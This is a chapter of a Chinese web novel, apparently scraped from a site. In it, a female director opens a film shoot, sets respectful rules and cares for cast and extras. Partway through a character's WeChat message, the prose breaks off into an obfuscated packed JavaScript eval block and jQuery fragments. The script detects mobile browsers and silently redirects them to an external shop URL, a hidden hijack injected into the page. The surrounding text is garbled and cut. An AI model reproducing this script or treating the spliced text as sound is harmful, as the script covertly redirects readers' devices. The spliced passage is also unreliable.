晨光从摄影棚高窗斜照进来时，香炉里的烟正袅袅升起。


    红绸盖在摄像机上的那一刻，棚里格外安静，只有远处马路上隐约的车声。


    温清水站在最前面，白衬衫的袖口挽到手肘，露出清瘦的手腕。


    她拿着三根香，合掌微微鞠了一躬。


    “开机大吉——”


    场务拉长声音喊，红绸应声落下。


    掌声零零碎碎响起来，很快连成一片。


    温清水转身面向整个剧组，目光从一张张脸上掠过。


    有熟悉的，但更多是陌生的。


    大约三十来人，站在晨光与阴影的交界处，等着她开口。


    “谢谢大家加入《无声告白》。”她拿着喇叭说话，“我是温清水，导演兼编剧。未来一个月，我们一起完成这部作品。”


    棚里很静，只有空调出风口的低鸣。


    “我有几个要求。”她继续说，“第一，有问题随时沟通，我都会尽力解决。第二，互相体谅，赶进度不赶质量。”她顿了顿，目光扫过人群，“第三，”


    她停在这里，故意留了半拍。


    几个年轻女场记抬起头，眼睛里带着好奇。


    “剧组里，我不希望听到任何带辱女性质的脏话。”温清水的视线掠过每一张脸，“我不举例，大家应该也知道我说的是什么。如果实在需要发泄，可以用其他词代替，或者直接找我理论。”


    有人笑了一下，很快收住。


    一个四十多岁穿着工装马甲的男人皱了皱眉，嘴角往下撇了撇，但没出声。


    “我知道这要求听起来有点怪。”温清水看着他，又像看着所有人，“但这是我的剧组。如果觉得接受不了，”她侧身，指向门口，“现在可以离开，我会按三天工资赔偿误工费。”


    没人动。


    安静持续了大约五秒。


    有人开始窃窃私语，声音低低的，混在风里听不清。


    温清水等了一会儿，见没人动，便点了点头。


    “好。那开工。”


    人群散开，各就各位。


    温清水走向监视器，听见身后传来极低的嘟囔：“有钱赚就行，就是有点事儿多。”


    她没回头。


    乔舒然凑过来，小声说，“刚才那大叔是灯光组的李师傅，老江湖了，脾气冲。”


    “嗯。”温清水翻开分镜本，“盯紧点，有问题及时说。”


    “明白。”乔舒然点头。


    第一场戏在室内，沈疏桐和林见深婚后第一次同桌吃饭。


    场景很简单：餐桌，两把椅子，一盏吊灯，窗外是虚拟的夜色。


    但温清水在布景前站了很久。


    “吊灯再低十五公分。”她对道具师说，“光要刚好打在餐桌中央，像划了条界线。”


    道具师照做。


    她又看向餐桌，“花瓶里的花换掉。现在这束太鲜亮，换白色洋桔梗，要有点蔫的，但还没枯。”


    “蔫的？”道具师愣了。


    “对，像放了三天，舍不得扔那种。”


    等花瓶换好，她才转向服装师，“沈疏桐今天穿的家居服，领口松垮一些，要有生活痕迹。林见深的衬衫要烫得平整，但领口扣子解开一颗，他回家后松的。”


    服装师一一记下。


    开拍前，温清水又走到苏念和陆子谦面前。


    “这场戏的核是‘近在咫尺，远在天涯’。”她看着他们，“你们坐在一张桌子上，但眼神不要对上。沈疏桐看菜，林见深看报纸，偶尔抬眼，也只看到对方的手或者衣角。明白吗？”


    苏念点头，“明白，就是最熟悉的陌生人。”


    “对。”温清梧认可。


    陆子谦没说话，只是微微颔首。


    他已经进入了林见深的状态，背挺得很直，但肩颈线条是松的。


    “Action!”


    场记板落下。


    监视器里，苏念夹起一筷子青菜，动作很轻。陆子谦翻了一页报纸，声音窸窣。


    餐桌很长，两人各坐一端，中间隔着那盏吊灯投下的光斑。


    空气里有种黏稠的安静。


    温清水盯着屏幕，忽然说，“停。”


    所有人看她。


    “陆老师，”她走过去，“你翻报纸时，手指在右下角顿一下，像想说什么，但最终没开口。”


    陆子谦抬眼，“明白。”


    “苏念，你夹菜后筷子在空中停半秒，再慢慢放下，像突然没了胃口。”


    “好。”


    第二次拍，那条光斑像真的成了鸿沟。


    温清水看着监视器，对了，就是这种感觉。


    拍完室内戏转场时，群演开始在角落里换衣服。


    今天需要六个办公室背景板，服装师抱来一摞衬衫西装，按尺寸分下去。


    一个年轻女孩接过衣服，愣了愣，“这不是通用的？”


    “按角色配的。”服装师指指标签，“你是新入职的文员，衬衫是浅蓝棉质，西装裤有点宽，跟旁边那位经理的修身三件套不一样。”


    女孩摸了摸衬衫面料，眼睛亮了，“还有换衣间？”


    “那边。”服装师指指棚侧临时搭的布帘隔间，“男女分开，里面有镜子。”


    几个群演互相看看，小声嘀咕，“以前都是厕所换的。”


    “还有镜子，太好了吧。”


    午休时，餐车直接开进棚区。


    掀开保温盖，热气混着香气扑出来：黑椒牛柳、清炒时蔬、番茄蛋汤，配糙米饭和水果盒。每人一份，装在可降解餐盒里。


    蔡妍领了两份，挤到温清水身边坐下。


    “晏氏这预算给得真足。”她扒了一口饭，含糊说，“以前跟组，午餐都是冷盒饭，肉都凝油。”


    温清水掰开筷子，“钱要花在刀刃上。”


    “刀刃也包括群演的衬衫？”乔舒然笑嘻嘻凑过来。


    “包括。”温清水说，“衣服合身，人才有角色感。不然镜头扫过去，全是敷衍。”


    正吃着，乔舒然忽然哎了一声，掏出手机，“清水你看，《春日负暄》又上热门了！”


    屏幕上是一个二创剪辑，配乐是首冷门英文歌，画面截取阮月白在雨中回头的那一秒，慢放，泪珠悬在睫毛上将落未落。


    文案写：「她看他的那一眼，然后整个青春都赔进去了」


    顺着链接点进去，春日负暄的点赞数已经412万了。


    温清水看着那个数字，有点恍惚。


    “评论区都在夸阮月白演技炸裂。”乔舒然往下滑，“还有林曦，他那个‘自卑小狗’的tag都出圈了，好多人在模仿他低头抿嘴的表情。”


    温清水放下筷子，摸出自己的手机。


    微信里果然有未读消息。


    阮月白：「温导，今天又看到《


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17178612|196696||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    春日》的剪辑了。真的谢谢您，那部戏让我第一次觉得，演戏是件有尊严的事」


    林曦：「温导好！经纪人说我最近涨了三十万粉，好多品牌找来。我爸妈今天还打电话，说终于敢跟亲戚说我当演员了……（哭哭）」


    唐棠的消息在下面：「清水，我进组啦！民国戏，演一个地下工作者，终于不是傻白甜了！导演说就是看了《春日》才找我试镜的。谢谢你当时鼓励我」


    温清水一条条看过去，指尖在屏幕上停了很久。


    她开始逐条回复。


    给阮月白：「是你自己演得好。继续加油」


    给林曦：「那是你应得的。好好选本子，别辜负粉丝」


    给唐棠：「恭喜！期待你的新角色」


    回完，她放下手机，继续吃饭。


    牛柳有点凉了，但她吃得很慢，小口咀嚼着。


    乔舒然看着她，忽然说，“清水，你在笑。”


    “有吗？”她有些疑惑地抬头。


    “有。”蔡妍也点头，“嘴角翘着呢。”


    温清水抬手摸了摸嘴角，确实是弯的。


    “我只是想，”她轻声说，“原来我们做的事，真的能改变一些什么。”


    哪怕只是一点点。


    哪怕只是一个演员得到了认可，一个年轻人敢跟家人坦白梦想，一个女孩不用在厕所换衣服。


    那就够了。


    “下午第一场！”场务在外面喊，“棚B，街道景，准备了！”


    温清水起身，餐盒收好扔进垃圾桶。


    她走到洗手池边，掬水洗了把脸，抬头时，镜子里的人罕见的有了笑意。


    走出休息区，摄影棚里已经忙碌起来。


    灯光师在调光，道具组在铺街道石板，苏念和陆子谦站在一旁对词。李师傅正在架灯架，看见她，动作顿了顿，然后很别扭地点了下头。


    温清水也点头回应。


    她走到监视器后坐下，翻开分镜本。


    蔡妍递过来一杯茶，“刚泡的，有点烫。”


    “谢谢。”


    杯壁的温度传到掌心，暖暖的。


    棚顶高窗的阳光移了位置，现在正落在她脚边，一方金灿灿的光斑。


    她看着那片光，忽然想起很多年前，第一次进剧组当编剧助理时，也是这样坐在角落，看着监视器里的人来人往。


    那时她觉得导演的位置好远，像隔着一条河。


    现在她坐在这里。


    河还没过完，但船已在她手中。


    “导演，准备好了。”副导走过来。


    温清水合上本子，抬起头。


    “Action.”


    场记板落下。


    镜头里，苏念撑伞走在雨中，陆子谦站在街对面看着她。


    两人之间隔着车流、雨水，还有七年没说出口的话。


    温清水盯着屏幕，开口，“推近，给苏念的手部特写。”


    摄影师照做。


    画面聚焦在她握伞的手上，指节发白，微微颤抖。


    那是剧本里没写的细节，是苏念自己加的。


    温清水没喊停。


    她知道，有些东西正在这个棚里生长。


    不是靠命令，而是靠尊重和细节，还有那一份热乎的午饭。


    窗外，午后的阳光正烈。


    棚内，一场漫长的暗恋，正在镜头前无声上演。